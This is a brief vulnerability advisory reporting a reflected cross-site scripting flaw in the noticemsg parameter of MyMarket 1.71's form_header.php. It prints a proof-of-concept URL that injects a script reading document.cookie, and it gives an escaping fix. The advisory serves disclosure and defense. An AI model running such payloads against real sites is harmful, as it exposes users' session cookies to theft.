|
|
| |
| MyMarket is a fully functional online shopping catalog system, built using PHP and MySQL. It was created by Ying Zhang for the purpose of teaching people about the basics of creating an E-Commerce site. |
| |
Credit:
The information has been provided by qber66.
|
| |
Vulnerable systems:
* MyMarket version 1.71
Exploit:
http://[traget]/templates/form_header.php?noticemsg=<Scr*ipt>javascript:alert(document.cookie)</Scr*ipt>
(without "*")
Solution:
Put this two lines at the begin of form_header.php
---- form_header.php -----
<?
$noticemsg = HTMLSpecialChars($noticemsg);
$errormsg = HTMLSpecialChars($errormsg);
...
--------------------------
Vendor response:
qber66 submitted this a week ago, the vendor didn't response yet.
|
|
|
